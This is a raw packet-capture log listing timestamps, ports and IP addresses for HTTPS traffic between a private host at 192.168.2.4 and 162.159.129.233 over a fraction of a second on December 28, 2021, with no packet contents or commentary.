Dec 28, 2021 18:13:33.288320065 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.288360119 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.288372993 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.288393974 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.288408995 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.288466930 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.288480043 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.288531065 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.288686991 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.288722038 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.288764000 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.288775921 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.288809061 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.288842916 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.288965940 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289002895 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289041996 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289053917 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289072037 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289102077 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289215088 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289233923 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289284945 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289295912 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289346933 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289357901 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289561033 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289578915 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289644003 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289654016 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289694071 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289711952 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.289911985 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.289931059 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.290000916 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.290011883 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.290090084 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.290096998 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.290265083 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.290285110 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.290340900 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.290352106 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.290384054 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.290400982 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.294584990 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307022095 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307054043 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307116985 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307133913 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307151079 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307162046 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307173967 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307179928 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307188988 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307221889 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307266951 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307326078 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307351112 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307394981 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307408094 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307435989 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307460070 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307544947 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307566881 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307621956 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307634115 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307656050 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307683945 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307777882 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307800055 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307856083 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307868004 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.307900906 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307919025 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.307997942 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308021069 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308068037 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308080912 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308146954 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308196068 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308218002 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308260918 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308271885 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308288097 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308330059 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308444977 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308479071 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308528900 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308541059 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308568001 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308584929 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308629990 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308653116 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308760881 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.308773041 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.308784962 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309006929 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309029102 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309083939 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309096098 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309139013 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309158087 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309298038 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309325933 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309396982 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309407949 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309436083 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309457064 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309469938 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309499979 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309560061 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309571981 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309623003 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309648037 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309696913 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309726954 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309799910 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309812069 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309864044 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309881926 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.309900999 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.309928894 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310002089 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310014009 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310035944 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310056925 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310431957 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310460091 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310522079 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310533047 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310559988 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310587883 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310641050 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310672045 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310714006 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310725927 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310753107 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310786009 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310889006 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310918093 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.310962915 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.310975075 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311000109 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311026096 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311077118 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311105013 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311156988 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311168909 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311202049 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311222076 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311362028 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311455011 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311466932 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311729908 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311757088 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311815977 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311829090 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311851978 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.311933041 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.311963081 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312009096 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.312021017 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312042952 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.312158108 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312186003 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312230110 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.312242031 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312252998 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.312524080 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312552929 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312608957 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.312624931 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.312635899 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.319907904 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.325473070 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.325515985 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.325562000 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.325586081 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.325612068 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.325720072 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.325750113 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.325788975 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.325802088 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.325822115 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.326090097 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326122999 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326163054 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.326176882 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326194048 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.326366901 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326395035 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326435089 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.326447010 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326461077 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.326704025 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326733112 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326772928 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.326786041 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.326802969 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.327097893 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327126980 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327171087 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.327183008 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327194929 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.327377081 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327404976 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327446938 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.327460051 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327474117 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.327666044 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327694893 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327734947 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.327747107 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327761889 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.327943087 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.327971935 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328012943 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.328026056 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328046083 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.328229904 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328258038 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328300953 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.328314066 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328329086 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.328572989 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328603029 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328640938 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.328654051 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328669071 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.328843117 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328896999 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328938961 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.328953981 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.328970909 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.329111099 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329139948 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329211950 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.329226017 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329236984 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.329401970 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329432964 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329483986 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.329495907 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329539061 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.329649925 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329680920 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329730034 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.329742908 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329772949 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.329932928 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.329963923 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330005884 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.330018044 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330050945 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.330192089 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330224037 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330267906 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.330281019 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330327034 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.330496073 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330526114 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330594063 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.330606937 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330631971 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.330776930 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330810070 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330869913 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.330897093 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.330916882 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.331033945 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.331073046 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.331127882 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.331142902 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.331178904 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.331258059 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.331289053 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.331367016 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.331379890 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.331399918 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.337388992 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.358469009 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.358505964 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.358689070 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.358710051 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.358781099 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.358931065 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359014988 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359117985 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359195948 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359268904 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359283924 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359381914 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359386921 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359394073 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359431028 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359463930 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359493017 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359507084 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359599113 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359627008 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359658003 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359707117 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359741926 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359761953 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359801054 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359863043 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359910011 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359936953 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.359952927 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.359973907 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360065937 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360116959 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360146999 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360162973 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360184908 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360272884 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360318899 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360347986 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360363007 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360374928 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360398054 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360476017 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360503912 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360589027 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360600948 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360652924 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360723972 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360774040 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360812902 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.360825062 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.360872030 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.361099005 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.361146927 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.361190081 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.361203909 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.361215115 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.361301899 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.361368895 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.361375093 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.361470938 CET	443	49783	162.159.129.233	192.168.2.4
